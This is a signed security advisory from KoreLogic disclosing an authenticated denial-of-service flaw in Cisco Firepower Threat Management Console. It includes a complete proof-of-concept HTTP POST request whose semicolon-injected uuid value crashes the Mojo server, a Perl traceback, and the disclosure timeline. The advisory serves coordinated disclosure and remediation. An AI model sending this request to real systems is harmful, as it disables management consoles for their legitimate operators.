-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 KL-001-2016-004 : Cisco Firepower Threat Management Console Authenticated Denial of Service Title: Cisco Firepower Threat Management Console Authenticated Denial of Service Advisory ID: KL-001-2016-004 Publication Date: 2016.10.05 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-004.txt 1. Vulnerability Details Affected Vendor: Cisco Affected Product: Firepower Threat Management Console Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213) Platform: Embedded Linux CWE Classification: CWE-404: Improper Resource Shutdown or Release Impact: Denial of Service Attack vector: HTTP 2. Vulnerability Description A authenticated user can send an HTTP request that will crash the Mojo Server thereby making future access impossible until a system reboot is performed. 3. Technical Description The parameter uuid is passed to a chmod function as part of a file path. A ';' in the path causes the function to return an exception. POST /pjb.cgi HTTP/1.1 Host: 1.3.3.7 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br DNT: 1 Content-Type: application/x-www-form-urlencoded Referer: https://1.3.3.7/ddd/ Content-Length: 1180 Cookie: x-auto-507=%7B%22state%22%3A%7B%22offset%22%3A%22i%3A0%22%2C%20%22limit%22%3A%22i%3A20%22%7D%7D; x-auto-467=%7B%22state%22%3A%7B%22offset%22%3A%22i%3A0%22%2C%20%22limit%22%3A%22i%3A20%22%7D%7D; CGISESSID=ab588faec87c38a18347787e3b442ff8 Connection: close &function=SF::UI::PJB::Vpn::List::saveVpnDeployment¶meters=%5B%7B%22password%22%3A%22test%22%2C+%22authentication_method%22%3A%22password%22%2C+%22type%22%3A%22PTP%22%2C+%22advanced_setting%22%3A%7B%22ah%22%3A0%2C+%22life_bytes%22%3A%220%22%2C+%22life_time%22%3A1%2C+%22life_time_unit%22%3A%22hours%22%2C+%22life_packets%22%3A%220%22%2C+%22ike_life_time%22%3A3%2C+%22ike_life_time_unit%22%3A%22hours%22%2C+%22ikev2%22%3A1%2C+%22ike_algorithm%22%3A%7B%22other_message_allowed%22%3A0%2C+%22auth_messages%22%3A%5B%7B%22cipher%22%3A%22aes128%22%2C+%22hash%22%3A%22sha1%22%2C+%22dh%22%3A%22modp2048%22%7D%2C%7B%22cipher%22%3A%22aes256%22%2C+%22hash%22%3A%22sha256%22%2C+%22dh%22%3A%22modp2048%22%7D%5D%7D%2C+%22phase2_algorithm%22%3A%7B%22other_message_allowed%22%3A0%2C+%22auth_messages%22%3A%5B%7B%22cipher%22%3A%22aes128%22%2C+%22hash%22%3A%22sha1%22%2C+%22dh%22%3A%22%22%7D%2C%7B%22cipher%22%3A%22aes256%22%2C+%22hash%22%3A%22sha256%22%2C+%22dh%22%3A%22%22%7D%5D%7D%7D%2C+%22status%22%3A0%2C+%22name%22%3A%22test%22%2C+%22uuid%22%3A%2207a0d152-09fc-11e6-93cc-9d074250060f;%22%2C+%22applied%22%3A-1%7D%2C%5B%5D%5D&sf_action_id=a5ba3e29eb18730f7c8dc88d53b48759&ex=1&ss=AllVpnList As no exception handler is defined, the process exits. Perl traceback: The 'file' parameter ("/var/tmp/VPNDeployment-07a0d152-09fc-11e6-93cc-9d074250060f;.lock") to SF::System::chmod did not pass the 'Type Validator (system.file)' callback at /usr/local/sf/lib/perl/5.10.1/SF/System.pm line 73 SF::System::__ANON__('The \'file\' parameter ("/var/tmp/VPNDeployment-07a0d152-09fc...') called at /usr/local/sf/lib/perl/5.10.1/SF/System.pm line 640 SF::System::chmod('HASH(0x114c3c88)') called at /usr/local/sf/lib/perl/5.10.1/SF/Util.pm line 619 SF::Util::wait_for_lock('/var/tmp/VPNDeployment-07a0d152-09fc-11e6-93cc-9d074250060f;....', 120) called at /usr/local/sf/lib/perl/5.10.1/SF/EODataHandler/VPNDeployment.pm line 206 SF::EODataHandler::VPNDeployment::get_lock('07a0d152-09fc-11e6-93cc-9d074250060f;') called at /usr/local/sf/lib/perl/5.10.1/SF/UI/PJB/Vpn/List.pm line 540 SF::UI::PJB::Vpn::List::saveVpnDeployment('HASH(0x1154bf38)', 'ARRAY(0x11513750)') called at /usr/local/sf/lib/perl/5.10.1/SF/UI/PJB.pm line 859 SF::UI::PJB::executeFunction('SF::UI::PJB::Vpn::List::saveVpnDeployment', 'ARRAY(0x11513720)') called at /usr/local/sf/lib/perl/5.10.1/SF/UI/PJB.pm line 821 SF::UI::PJB::handleRequest('SF::UI::PJB::Vpn::List::saveVpnDeployment', '[{"password":"test", "authentication_method":"password", "typ...') called at /usr/local/sf/lib/perl/5.10.1/SF/Mojo/Handlers/PjbHandler.pm line 39 eval {...} called at /usr/local/sf/lib/perl/5.10.1/SF/Mojo/Handlers/PjbHandler.pm line 42 SF::Mojo::Handlers::PjbHandler::handle_pjb_cgi('SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)') called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm line 126 Mojolicious::__ANON__(undef, 'SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)', 'CODE(0xd635740)', 1) called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm line 20 Mojolicious::Plugins::__ANON__() called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm line 23 Mojolicious::Plugins::emit_chain('Mojolicious::Plugins=HASH(0x9056318)', 'around_action', 'SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)', 'CODE(0xd635740)', 1) called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm line 106 Mojolicious::Routes::_action('SF::Mojo=HASH(0x905ed38)', 'SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)', 'CODE(0xd635740)', 1) called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm line 191 Mojolicious::Routes::_controller('Mojolicious::Routes=HASH(0x905f208)', 'Mojolicious::Controller=HASH(0x1064dbf8)', 'HASH(0x10026868)', 1) called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm line 43 Mojolicious::Routes::continue('Mojolicious::Routes=HASH(0x905f208)', 'Mojolicious::Controller=HASH(0x1064dbf8)') called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm line 51 Mojolicious::Routes::dispatch('Mojolicious::Routes=HASH(0x905f208)', 'Mojolicious::Controller=HASH(0x1064dbf8)') called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm line 118 Mojolicious::dispatch('SF::Mojo=HASH(0x905ed38)', 'Mojolicious::Controller=HASH(0x1064dbf8)') called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm line 127 Mojolicious::__ANON__(undef, 'Mojolicious::Controller=HASH(0x1064dbf8)') called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm line 20 Mojolicious::Plugins::__ANON__() called at /usr/local/sf/lib/perl/5.10.1/SF/Mojo.pm line 217 eval {...} called at /usr/local/sf/lib/perl/5.10.1/SF/Mojo.pm line 217 SF::Mojo::__ANON__('CODE(0x1152fe98)', 'Mojolicious::Controller=HASH(0x1064dbf8)') called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm line 20 Mojolicious::Plugins::__ANON__() called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm line 199 eval {...} called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm line 199 Mojolicious::_exception('CODE(0xf58a1098)', 'Mojolicious::Controller=HASH(0x1064dbf8)') called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm line 20 Mojolicious::Plugins::__ANON__() called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm line 23 Mojolicious::Plugins::emit_chain('Mojolicious::Plugins=HASH(0x9056318)', 'around_dispatch', 'Mojolicious::Controller=HASH(0x1064dbf8)') called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm line 133 Mojolicious::handler('SF::Mojo=HASH(0x905ed38)', 'Mojo::Transaction::HTTP=HASH(0x114f6558)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Server.pm line 71 Mojo::Server::__ANON__('Mojo::Server::Prefork=HASH(0x8349e58)', 'Mojo::Transaction::HTTP=HASH(0x114f6558)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm line 15 Mojo::EventEmitter::emit('Mojo::Server::Prefork=HASH(0x8349e58)', 'request', 'Mojo::Transaction::HTTP=HASH(0x114f6558)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Daemon.pm line 83 Mojo::Server::Daemon::__ANON__('Mojo::Transaction::HTTP=HASH(0x114f6558)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm line 15 Mojo::EventEmitter::emit('Mojo::Transaction::HTTP=HASH(0x114f6558)', 'request') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Transaction/HTTP.pm line 65 Mojo::Transaction::HTTP::server_read('Mojo::Transaction::HTTP=HASH(0x114f6558)', 'POST /pjb.cgi HTTP/1.1\x{d}\x{a}Host: 1.3.3.7\x{d}\x{a}User-Agent: Mozil...') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Daemon.pm line 186 Mojo::Server::Daemon::_read('Mojo::Server::Prefork=HASH(0x8349e58)', 'b2bd7252c6d676b510adb8ba94b9f73f', 'POST /pjb.cgi HTTP/1.1\x{d}\x{a}Host: 1.3.3.7\x{d}\x{a}User-Agent: Mozil...') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Daemon.pm line 166 Mojo::Server::Daemon::__ANON__('Mojo::IOLoop::Stream=HASH(0x103a7e40)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm line 33 eval {...} called at /usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm line 33 Mojo::EventEmitter::emit_safe('Mojo::IOLoop::Stream=HASH(0x103a7e40)', 'read', 'POST /pjb.cgi HTTP/1.1\x{d}\x{a}Host: 1.3.3.7\x{d}\x{a}User-Agent: Mozil...') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/IOLoop/Stream.pm line 116 Mojo::IOLoop::Stream::_read('Mojo::IOLoop::Stream=HASH(0x103a7e40)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/IOLoop/Stream.pm line 53 Mojo::IOLoop::Stream::__ANON__('Mojo::Reactor::EV=HASH(0x88c8ca8)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/Poll.pm line 115 eval {...} called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/Poll.pm line 115 Mojo::Reactor::Poll::_sandbox('Mojo::Reactor::EV=HASH(0x88c8ca8)', 'Read', 'CODE(0x1152e100)', 0) called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm line 52 Mojo::Reactor::EV::_io('Mojo::Reactor::EV=HASH(0x88c8ca8)', 77, 'EV::IO=SCALAR(0x10667cc8)', 3) called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm line 43 Mojo::Reactor::EV::__ANON__('EV::IO=SCALAR(0x10667cc8)', 3) called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm line 24 eval {...} called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm line 24 Mojo::Reactor::EV::start('Mojo::Reactor::EV=HASH(0x88c8ca8)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/IOLoop.pm line 130 Mojo::IOLoop::start('Mojo::IOLoop=HASH(0x88c8a58)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Prefork.pm line 214 Mojo::Server::Prefork::_spawn('Mojo::Server::Prefork=HASH(0x8349e58)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Prefork.pm line 122 Mojo::Server::Prefork::_manage('Mojo::Server::Prefork=HASH(0x8349e58)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Prefork.pm line 96 Mojo::Server::Prefork::run('Mojo::Server::Prefork=HASH(0x8349e58)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Hypnotoad.pm line 77 Mojo::Server::Hypnotoad::run('Mojo::Server::Hypnotoad=HASH(0x8953e50)', '/var/sf/bin/mojo_server.pl') called 4. Mitigation and Remediation Recommendation The vendor has addressed this vulnerability in their Support Center as Bug ID CSCva30631. Vendor acknowledgement available at: https://tools.cisco.com/bugsearch/ 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco. 2016.06.30 - Cisco acknowledges receipt of vulnerability report. 2016.07.20 - KoreLogic and Cisco discuss remediation timeline for this vulnerability and for 3 others reported in the same product. 2016.08.12 - 30 business days have elapsed since the vulnerability was reported to Cisco. 2016.09.02 - 45 business days have elapsed since the vulnerability was reported to Cisco. 2016.09.09 - KoreLogic asks for an update on the status of the remediation efforts. 2016.09.15 - Cisco confirms remediation is underway and soon to be completed. 2016.09.28 - Cisco informs KoreLogic that the remediation details will be released publicly on 2016.10.05. 2016.10.05 - Public disclosure. 7. Proof of Concept See Technical Description The contents of this advisory are copyright(c) 2016 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt -----BEGIN PGP SIGNATURE----- iQEcBAEBCAAGBQJX9VzCAAoJEE1lmiwOGYkMaDwH/i/nt+TjbQjX5PsNkyowH3MI +DgYECAH1BaltWwyGaIAZkBh/m+88nF6DC7kUBXsxjtkq2lAo5YbOejTt71nFHgk zY88/IEo47BV+fzknuY8TRvFn9iJMlo2Ft2OY+8vWFmp/GL9PlL+pfO9Ei/7hCws BLdZFbfjBz7IRexjfoE+Mcq/get0kSnE+E78YyhEI/hDODkMSXLeCeRMpgHVj9FM lHjXOv77pz+rF45oNAj7NqUbuLJQMk/De+4T6V6nF/puwJs1pOHMALHp7TGNsC/E rXlz9sYYA5MkclW5HZ94RKDx+culNp07Xv4syw3UYKT137LwWXkLtKOkMmEg2Dc= =wcTj -----END PGP SIGNATURE-----